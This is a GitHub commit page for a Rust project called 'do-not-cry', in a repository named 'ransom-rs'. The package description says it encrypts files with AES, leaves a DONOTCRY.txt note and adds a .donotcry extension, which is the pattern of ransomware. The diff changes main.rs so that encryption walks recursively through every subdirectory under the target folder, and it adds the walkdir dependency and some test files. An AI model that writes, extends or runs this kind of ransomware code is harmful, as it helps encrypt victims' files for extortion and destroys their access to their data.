Skip to content

Commit 82d135e

Browse files
committed
feat: encrypt recursively directories inside root directory
1 parent 71ae2bc commit 82d135e

5 files changed

Lines changed: 40 additions & 7 deletions

File tree

Cargo.lock

Lines changed: 31 additions & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Cargo.toml

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
name = "do-not-cry"
33
authors = ["RotrixX <rotrixxlol@gmail.com>"]
44
description = "Encrypt and decrypt directories/files using Aes cipher. When encrypting, DONOTCRY.txt file will be created and all files will have .donotcry extension."
5-
version = "1.2.1"
5+
version = "1.3.0"
66
edition = "2021"
77
license = "GPL-3.0-or-later"
88
repository = "https://github.com/RotrixLOL/ransom-rs"
@@ -23,3 +23,4 @@ path = "src/main.rs"
2323
[dependencies]
2424
colored = "2.0.0"
2525
libaes = "0.6.4"
26+
walkdir = "2.3.2"

src/main.rs

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
use libransom::encrypt_or_decrypt;
22
use std::{env, fs};
3+
use walkdir::WalkDir;
34

45
fn main() {
56
let args: Vec<_> = env::args().collect();
@@ -24,13 +25,12 @@ fn main() {
2425

2526
// Check if the input is a file or a directory
2627
if fs::metadata(args[2].clone()).unwrap().is_dir() {
27-
let entries = fs::read_dir(args[2].clone()).unwrap();
28+
// let entries = fs::read_dir(args[2].clone()).unwrap();
2829

29-
// Iterate over files in directory and encrypt or decrypt them
30-
for raw_entry in entries {
31-
let entry = raw_entry.unwrap();
30+
// Iterate over files and directories inside a directory and encrypt or decrypt them
31+
for entry in WalkDir::new(args[2].clone()).into_iter().filter_map(|e| e.ok()) {
3232

33-
if entry.file_type().unwrap().is_file() {
33+
if entry.file_type().is_file() {
3434
encrypt_or_decrypt(entry.path().to_str().unwrap(), args[1].clone().as_str());
3535
}
3636
}
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
hello world

test_files/dir/test.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
hey, this is a file inside a directory

0 commit comments

Comments
 (0)